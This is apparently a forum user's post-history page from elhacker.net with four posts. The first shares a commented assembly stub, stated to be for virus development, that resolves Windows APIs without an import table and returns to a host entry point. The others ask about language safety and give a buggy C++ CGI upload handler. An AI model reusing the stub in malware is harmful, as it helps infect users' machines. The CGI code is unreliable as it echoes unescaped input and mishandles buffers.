elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 [11]
101  Programación / ASM / Ayuda con metodo para encontrar la direccion del Kernel y llamar APIs en memoria en: 16 Agosto 2014, 22:27 pm
Hola, ¿Como están? Mi problema es el siguiente: Estoy desarrollando un virus en ASM y necesito llamar las APIs de Windows sin usar import tables en mi ejecutable, para mejorar la portabilidad del virus. Conseguí un código que busca la direccion del kernel32 y llama a unas APIs en esta pagina, pero no entiendo partes del codigo: http://www.rohitab.com/discuss/topic/38717-quick-tutorial-finding-kernel32-base-and-walking-its-export-table/

Me he encargado de comentar las lineas que entiendo en ingles, pero aún así hay partes que no comprendo. Si pudieran ayudarme indicandome que hacen las partes sin comentar estaría muy agradecido. Tengo algunos conocimientos sobre las estructuras internas de Windows, así que no piensen que estoy haciendo preguntas de novatos o fuera de lugar, espero no haberme equivocado en postear esta pregunta. Gracias por sus respuestas de antemano.

Aquí está el codigo fuente:

Código
  1. ;This is a fragment of code that could be used to make malware that use API dynamicly without
  2. ;tells to the assembler which API we want to use. This is very useful to generate malware that
  3. ;no uses import table in the executable, provided a better way to perform actions without
  4. ;modify the host import table, like a virus, trojan. The original code was written by
  5. ;SIGSEV, but I added comments to the code to clarify its actions. I can't understand all, I need help
  6.  
  7. format pe console 4.0
  8.  
  9. pushad
  10. call CodeStart
  11. CodeStart:
  12. pop ebp
  13. sub ebp,CodeStart ; delta offset shit
  14.  
  15. finding_kernel32:
  16. mov ebx, [FS : 0x30]        ;FS:0x30 points to the address of Process Environment Block (PEB)
  17.                                ;Now the Base Pointer (BX) points to the address of PEB in memory
  18.  
  19. mov ebx, [ebx + 0x0C]       ;Now we move 0x0C (12 bytes) from the address of PEB
  20.                                ;We get the value of ebx+0x0c, in other words, the address that has the PEB->Ldr pointer
  21.  
  22.                                ;Now we are in Ldr structure. We move the ebx pointer following the address in the
  23.                                ;PEB->Ldr pointer.
  24.  
  25. mov ebx, [ebx + 0x14]       ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
  26. mov ebx, [ebx]            ;2nd Entry
  27. mov ebx, [ebx]            ;3rd Entry
  28. mov ebx, [ebx + 0x10]   ; Get Kernel32 Base
  29. mov [ebp+dwKernelBase] , ebx
  30. add ebx, [ebx+0x3C] ; Start of PE header
  31. mov ebx, [ebx+0x78] ; RVA of export dir
  32. add ebx, [ebp+dwKernelBase]  ; VA of export dir
  33. mov [ebp+dwExportDirectory] , ebx
  34.  
  35. lea edx,[ebp+api_GetProcAddress]    ;Load in ebp the address of the API function name.
  36. mov ecx,[ebp+len_GetProcAddress]    ;Load in ecx the size of the API function name
  37. call GetFunctionAddress             ;Call GetFunctionAddress
  38.  
  39. mov [ebp+AGetProcAddressA] , eax    ;The API function address in memory was stored by the
  40.                                        ;GetFunctionAddress function in eax, now we save the address
  41.                                        ;of the GetProcAddress in a variable for later use.
  42.  
  43. lea edx,[ebp+api_LoadLibrary]       ;Load in edx the API function name of LoadLibrary
  44. push edx                            ;Save edx in the stack
  45. push dword [ebp+dwKernelBase]
  46. call eax
  47. mov [ebp+ALoadLibraryA] , eax
  48. lea edx , [ebp+szUser32]
  49. push edx
  50. call eax
  51. lea edx , [ebp+api_MessageBoxA]
  52. push edx
  53. push eax
  54. mov ebx,[ebp+AGetProcAddressA]
  55. call ebx
  56. mov [ebp+AMessageBoxAA] , eax
  57.  
  58. push 0
  59. lea edx,[ebp+szTitle]
  60. push edx
  61. lea edx,[ebp+szMsg]
  62. push edx
  63. push 0
  64. call eax
  65. popad
  66.  
  67. push 0xBBBBBBBB   ;OEP
  68. retn
  69.  
  70. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  71. ;  <<<<< GetFunctionAddress >>>>>> ;
  72. ; Extracts Function Address From Export Directory and returns it in eax   ;
  73. ; Parameters :  Function name in edx , Length in ecx  ;
  74. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  75.  
  76. GetFunctionAddress:
  77. push ebx    ;Save status of registers before execute the subroutine
  78. push esi    ;to preserve its content. It could make some errors to the
  79. push edi    ;caller function if modify the values that are common of the whole
  80.                ;program
  81.  
  82. mov esi, [ebp+dwExportDirectory]
  83. mov esi, [esi+0x20] ;RVA of ENT
  84. add esi, [ebp+dwKernelBase]  ;VA of ENT
  85. xor ebx,ebx
  86. cld
  87.  
  88. looper:
  89.  inc ebx
  90.  lodsd     ;Load a byte from the string pointed by SI into al register
  91.  add eax , [ebp+dwKernelBase]   ;eax now points to the string of a function
  92.  push esi ;preserve it for the outer loop
  93.  mov esi,eax
  94.  mov edi,edx
  95.  cld
  96.  push ecx
  97.  repe cmpsb
  98.  pop ecx
  99.  pop esi
  100.  jne looper
  101.  
  102.  dec ebx
  103.  mov eax,[ebp+dwExportDirectory]
  104.  mov eax,[eax+0x24]   ;RVA of EOT
  105.  add eax,[ebp+dwKernelBase] ;VA of EOT
  106.  movzx eax , word [ebx*2+eax] ;eax now holds the ordinal of our function
  107.  mov ebx,[ebp+dwExportDirectory]
  108.  mov ebx,[ebx+0x1C]   ;RVA of EAT
  109.  add ebx,[ebp+dwKernelBase] ;VA of EAT
  110.  mov ebx,[eax*4+ebx]
  111.  add ebx,[ebp+dwKernelBase]
  112.  mov eax,ebx
  113.  
  114. pop edi     ;Restore the registers to avoid generate a problem
  115. pop esi     ;in the caller function.
  116. pop ebx
  117. ret
  118.  
  119. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  120. ; Data Shit ;
  121. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  122.  
  123. szTitle:  db  "Yo !",0
  124. szMsg: db "GreeTz From SIGSEGV",0
  125. szUser32 db  "User32.dll",0
  126. AGetProcAddressA:   dd  0
  127. api_GetProcAddress:   db  "GetProcAddress"
  128. len_GetProcAddress:   dd  $-api_GetProcAddress
  129. ALoadLibraryA: dd  0
  130. api_LoadLibrary:   db  "LoadLibraryA",0
  131. AMessageBoxAA: dd  0
  132. api_MessageBoxA:   db  "MessageBoxA",0
  133. dwKernelBase: dd  0
  134. dwExportDirectory:   dd  0
  135.  
102  Foros Generales / Dudas Generales / Re: ¿Es cierto que un lenguaje es mas seguro si no tienes control sobre el? en: 9 Marzo 2014, 19:50 pm
Gracias por sus respuestas. Entonces seguiré aprendiendo C/C++ para tener más control y no depender de otros. Espero estar obrando bien al continuar y profundizar C/C++.
103  Foros Generales / Dudas Generales / ¿Es cierto que un lenguaje es mas seguro si no tienes control sobre el? en: 9 Marzo 2014, 13:34 pm
Hola, tengo una duda: Me han dicho que Java y otros lenguajes son mas seguros que C/C++ disque por que no tienen punteros, y tambien dicen que son mas resistentes a fallos porque todo lo maneja la maquina virtual.

¿Es cierto eso? ¿Entonces C/C++ es inseguro? ¿Entonces si estoy creando un programa debería usar Java? Gracias de antemano.
104  Programación / Programación C/C++ / Re: ¿Como puedo hacer File Upload con CGI en C++?? en: 8 Marzo 2014, 22:45 pm
No. Lo estoy subiendo usando html. Por si acaso te muestro el codigo que uso en la pagina html:

Código
  1. <title>Upload</title>
  2. </head>
  3.  
  4.  
  5. <form target="_blank" enctype="multipart/form-data" method="post" action="/cgi-bin/upload.cgi">
  6.    <input name="file" type="file" /> <input name="submit" type="submit" />
  7. </form>
  8.  
  9.  
  10. </body>
  11. </html>

Uso ese codigo como formulario, y luego llama a un CGI llamado upload, que es el que mostré en mi mensaje anterior. Gracias de antemano, por si logras conseguir una forma de que mi codigo trabaje bien.
105  Programación / Programación C/C++ / ¿Como puedo hacer File Upload con CGI en C++?? en: 8 Marzo 2014, 19:04 pm
Hola, ¿Como están? Tengo que hacer mi propio CGI hecho en C++ para recibir un archivo y subirlo al servidor. Ya tengo parte del código hecho y ya he investigado, pero resulta que al escribir lo que recibe por la entrada tambien se mezcla con algo que pareciera una cabecera HTTP. No se como recibir unicamente al archivo, sin cabeceras ni otras cosas. Gracias de antemano.

Ahora publicó parte de mi código que falla:

Código
  1. #include <iostream>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <iostream>
  5. #include <fstream>
  6.  
  7. using namespace std;
  8.  
  9. int main()
  10. {
  11.  
  12.    ///Esto me funciona. Por lo menos puedo contar cuantos bytes mide el archivo aproximadamente.
  13.    int content_length = atol(getenv("CONTENT_LENGTH"));
  14.    char *content = new char[content_length];
  15.  
  16.    ///Abro un stream para escribir el archivo a subir.
  17.    ofstream archivo;
  18.    archivo.open("D:\\Archivos de Programa\\Apache Software Foundation\\Apache2.2\\uploads\\archivo_subido.txt");
  19.  
  20.    cout << "Content-type:text/html\r\n\r\n";
  21.    cout << "<html><head><title>Page</title></head>";
  22.    cout << "<body><h1>Content lenght: ";
  23.    cout << content_length << "</h1>";
  24.  
  25.    ///He oido que los archivos enviados por HTML se recibe por la entrada estandar
  26.    ///Asi que lo recibo lo copio a un buffer
  27.    cin.read(content, content_length);
  28.  
  29.    cout << "<h1>Content</h1>";
  30.    cout << "<b>" << content << "</b>";
  31.  
  32.    ///El contenido del archivo lo grabó en disco.
  33.    archivo << content;
  34.  
  35.    /*cout << content;*/
  36.  
  37.    cout << "<br><br>" << content;
  38.    cout << "</h1>";
  39.    cout << "</body></html>";
  40.  
  41.    archivo.close();
  42.  
  43.    delete [] content;
  44.  
  45.    return 0;
  46. }
  47.  

¿Será que alguien sabe como puedo el archivo sin cabeceras HTTP, en binario puro y duro? Gracias de antemano.
Páginas: 1 2 3 4 5 6 7 8 9 10 [11]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines